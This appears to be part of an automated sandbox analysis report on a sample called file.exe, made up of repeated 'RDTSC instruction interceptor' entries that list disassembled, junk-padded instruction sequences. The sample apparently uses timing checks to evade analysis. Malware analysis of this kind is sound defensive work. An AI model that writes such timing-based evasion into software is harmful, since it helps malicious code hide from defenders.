Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00F3 second address: 52B00F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00F7 second address: 52B0127 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 003EEE11h 0x00000010 jmp 00007F988C7CE31Fh 0x00000015 xor dword ptr [esp], 76A47059h 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0127 second address: 52B014E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, cl 0x00000006 popad 0x00000007 mov eax, edx 0x00000009 popad 0x0000000a call 00007F988D0B0289h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F988D0B0292h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B014E second address: 52B016F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F988C7CE321h 0x00000008 mov ax, 40B7h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B016F second address: 52B0174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0174 second address: 52B01C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F988C7CE31Bh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F988C7CE329h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F988C7CE31Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B01C4 second address: 52B01CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B01CA second address: 52B0266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F988C7CE31Ch 0x00000013 xor cl, FFFFFFC8h 0x00000016 jmp 00007F988C7CE31Bh 0x0000001b popfd 0x0000001c mov ch, C0h 0x0000001e popad 0x0000001f mov eax, dword ptr fs:[00000000h] 0x00000025 jmp 00007F988C7CE31Bh 0x0000002a nop 0x0000002b jmp 00007F988C7CE326h 0x00000030 push eax 0x00000031 jmp 00007F988C7CE31Bh 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F988C7CE31Bh 0x00000040 add eax, 12418F1Eh 0x00000046 jmp 00007F988C7CE329h 0x0000004b popfd 0x0000004c mov bx, ax 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0266 second address: 52B02F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F988D0B0293h 0x00000008 mov si, CCCFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f sub esp, 18h 0x00000012 pushad 0x00000013 call 00007F988D0B0290h 0x00000018 mov esi, 6E2B0E51h 0x0000001d pop ecx 0x0000001e pushfd 0x0000001f jmp 00007F988D0B0297h 0x00000024 and ax, 4F3Eh 0x00000029 jmp 00007F988D0B0299h 0x0000002e popfd 0x0000002f popad 0x00000030 xchg eax, ebx 0x00000031 pushad 0x00000032 mov ecx, 72BC1023h 0x00000037 push eax 0x00000038 push edx 0x00000039 call 00007F988D0B0296h 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02F5 second address: 52B0357 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a movsx edi, ax 0x0000000d push eax 0x0000000e mov bh, BAh 0x00000010 pop esi 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 jmp 00007F988C7CE323h 0x00000018 xchg eax, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ecx, edi 0x0000001e pushfd 0x0000001f jmp 00007F988C7CE327h 0x00000024 xor ch, FFFFFFBEh 0x00000027 jmp 00007F988C7CE329h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0357 second address: 52B037B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0291h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F988D0B028Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B037B second address: 52B038D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988C7CE31Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B038D second address: 52B03CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B028Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f pushfd 0x00000010 jmp 00007F988D0B0290h 0x00000015 add eax, 3FA9BA78h 0x0000001b jmp 00007F988D0B028Bh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, edi 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03CD second address: 52B03E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE327h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03E8 second address: 52B03EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03EE second address: 52B03F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03F2 second address: 52B0401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov eax, edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0401 second address: 52B043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F988C7CE326h 0x0000000f mov eax, dword ptr [769B4538h] 0x00000014 pushad 0x00000015 mov cx, 702Dh 0x00000019 mov si, E229h 0x0000001d popad 0x0000001e xor dword ptr [ebp-08h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B043F second address: 52B0443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0443 second address: 52B0454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0454 second address: 52B045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B045A second address: 52B045E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B045E second address: 52B0488 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0293h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 call 00007F988D0B028Bh 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0488 second address: 52B055C instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F988C7CE322h 0x0000000d add esi, 6DF4A8B8h 0x00000013 jmp 00007F988C7CE31Bh 0x00000018 popfd 0x00000019 popad 0x0000001a nop 0x0000001b pushad 0x0000001c mov ebx, eax 0x0000001e call 00007F988C7CE320h 0x00000023 mov esi, 03EC3171h 0x00000028 pop ecx 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007F988C7CE31Ch 0x00000030 nop 0x00000031 jmp 00007F988C7CE320h 0x00000036 lea eax, dword ptr [ebp-10h] 0x00000039 pushad 0x0000003a push eax 0x0000003b pushad 0x0000003c popad 0x0000003d pop ebx 0x0000003e pushfd 0x0000003f jmp 00007F988C7CE328h 0x00000044 and cx, 67D8h 0x00000049 jmp 00007F988C7CE31Bh 0x0000004e popfd 0x0000004f popad 0x00000050 mov dword ptr fs:[00000000h], eax 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 pushfd 0x0000005a jmp 00007F988C7CE31Bh 0x0000005f adc eax, 01751A9Eh 0x00000065 jmp 00007F988C7CE329h 0x0000006a popfd 0x0000006b mov esi, 76887E67h 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B055C second address: 52B05A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988D0B0293h 0x00000009 sub esi, 14E0A4AEh 0x0000000f jmp 00007F988D0B0299h 0x00000014 popfd 0x00000015 mov ecx, 587FC537h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [ebp-18h], esp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05A4 second address: 52B05B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05B3 second address: 52B0622 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F988D0B028Ch 0x00000016 xor si, BBB8h 0x0000001b jmp 00007F988D0B028Bh 0x00000020 popfd 0x00000021 mov ah, 17h 0x00000023 popad 0x00000024 mov ecx, dword ptr [eax+00000FDCh] 0x0000002a jmp 00007F988D0B028Bh 0x0000002f test ecx, ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F988D0B0295h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0622 second address: 52B06C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988C7CE327h 0x00000009 jmp 00007F988C7CE323h 0x0000000e popfd 0x0000000f movzx ecx, di 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jns 00007F988C7CE350h 0x0000001b pushad 0x0000001c movsx edi, cx 0x0000001f pushfd 0x00000020 jmp 00007F988C7CE31Ah 0x00000025 sub ecx, 2F86CA08h 0x0000002b jmp 00007F988C7CE31Bh 0x00000030 popfd 0x00000031 popad 0x00000032 add eax, ecx 0x00000034 jmp 00007F988C7CE326h 0x00000039 mov ecx, dword ptr [ebp+08h] 0x0000003c jmp 00007F988C7CE320h 0x00000041 test ecx, ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F988C7CE327h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B06C5 second address: 52B06DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0294h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B06DD second address: 52B06E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01E4 second address: 52A0223 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, 1C52h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F988D0B0296h 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F988D0B0297h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0223 second address: 52A0254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 741DBEBAh 0x00000008 call 00007F988C7CE31Bh 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 jmp 00007F988C7CE31Fh 0x00000018 sub esp, 2Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0254 second address: 52A0258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0258 second address: 52A025E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A025E second address: 52A0284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B028Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F988D0B0290h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0284 second address: 52A0288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0288 second address: 52A028E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A028E second address: 52A0294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0294 second address: 52A02C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a push esi 0x0000000b mov dl, CBh 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F988D0B028Ah 0x00000015 mov dword ptr [esp], edi 0x00000018 pushad 0x00000019 mov dh, al 0x0000001b call 00007F988D0B0293h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A02F1 second address: 52A02F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A02F5 second address: 52A02FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A02FB second address: 52A0375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988C7CE321h 0x00000009 xor ah, FFFFFFC6h 0x0000000c jmp 00007F988C7CE321h 0x00000011 popfd 0x00000012 mov ax, 1577h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 sub edi, edi 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F988C7CE329h 0x00000022 add ch, FFFFFFD6h 0x00000025 jmp 00007F988C7CE321h 0x0000002a popfd 0x0000002b mov ah, 08h 0x0000002d popad 0x0000002e inc ebx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 call 00007F988C7CE31Fh 0x00000037 pop esi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A042D second address: 52A0498 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B028Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F988D0B0290h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov bh, D8h 0x00000013 call 00007F988D0B028Ah 0x00000018 pushfd 0x00000019 jmp 00007F988D0B0292h 0x0000001e sub ecx, 6B9C5B98h 0x00000024 jmp 00007F988D0B028Bh 0x00000029 popfd 0x0000002a pop eax 0x0000002b popad 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F988D0B0292h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0498 second address: 52A04AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988C7CE31Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A04F7 second address: 52A05B8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F988D0B0298h 0x00000008 or ax, 2518h 0x0000000d jmp 00007F988D0B028Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 jmp 00007F988D0B028Fh 0x0000001b pop eax 0x0000001c popad 0x0000001d js 00007F988D0B02D5h 0x00000023 jmp 00007F988D0B028Fh 0x00000028 cmp dword ptr [ebp-14h], edi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F988D0B0294h 0x00000032 xor ecx, 3F89A9D8h 0x00000038 jmp 00007F988D0B028Bh 0x0000003d popfd 0x0000003e movzx esi, dx 0x00000041 popad 0x00000042 jne 00007F98FE76E1A6h 0x00000048 jmp 00007F988D0B028Bh 0x0000004d mov ebx, dword ptr [ebp+08h] 0x00000050 jmp 00007F988D0B0296h 0x00000055 lea eax, dword ptr [ebp-2Ch] 0x00000058 pushad 0x00000059 mov esi, 46431EBDh 0x0000005e mov dx, ax 0x00000061 popad 0x00000062 xchg eax, esi 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 mov ah, 79h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A05B8 second address: 52A05D5 instructions: 0x00000000 rdtsc 0x00000002 call 00007F988C7CE31Dh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov di, 5E74h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A05D5 second address: 52A0605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F988D0B0295h 0x0000000a xor ch, FFFFFFE6h 0x0000000d jmp 00007F988D0B0291h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0605 second address: 52A060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A060B second address: 52A060F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A060F second address: 52A061E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A061E second address: 52A0624 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0704 second address: 5290E31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F98FDE8C258h 0x0000000f xor eax, eax 0x00000011 jmp 00007F988C7A7A4Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007F988C7CE317h 0x0000002b jmp 00007F988C7CE48Bh 0x00000030 call 00007F98913183B5h 0x00000035 mov edi, edi 0x00000037 jmp 00007F988C7CE327h 0x0000003c xchg eax, ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F988C7CE325h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E31 second address: 5290E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E37 second address: 5290E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E3B second address: 5290E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F988D0B0296h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov cl, 07h 0x00000012 jmp 00007F988D0B0293h 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F988D0B028Bh 0x00000023 jmp 00007F988D0B0293h 0x00000028 popfd 0x00000029 push esi 0x0000002a pop edx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E9A second address: 5290ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988C7CE31Bh 0x00000009 adc ch, 0000006Eh 0x0000000c jmp 00007F988C7CE329h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edx, 672AE7DAh 0x00000020 mov bh, A7h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290ED7 second address: 5290EF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B028Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290EF0 second address: 5290EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290EF5 second address: 5290F15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0295h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290F15 second address: 5290F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988C7CE31Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0A90 second address: 52A0A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0A96 second address: 52A0A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0A9A second address: 52A0AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [769B459Ch], 05h 0x0000000f pushad 0x00000010 movsx ebx, cx 0x00000013 call 00007F988D0B0296h 0x00000018 movzx eax, dx 0x0000001b pop ebx 0x0000001c popad 0x0000001d je 00007F98FE75E1BDh 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0AD4 second address: 52A0AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0AD8 second address: 52A0ADC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0ADC second address: 52A0AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0AE2 second address: 52A0AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0AE8 second address: 52A0AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0B44 second address: 52A0B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push 58123C59h 0x0000000b pushad 0x0000000c mov ecx, edi 0x0000000e mov ax, bx 0x00000011 popad 0x00000012 add dword ptr [esp], 1E885FCFh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F988D0B0294h 0x00000020 rdtsc
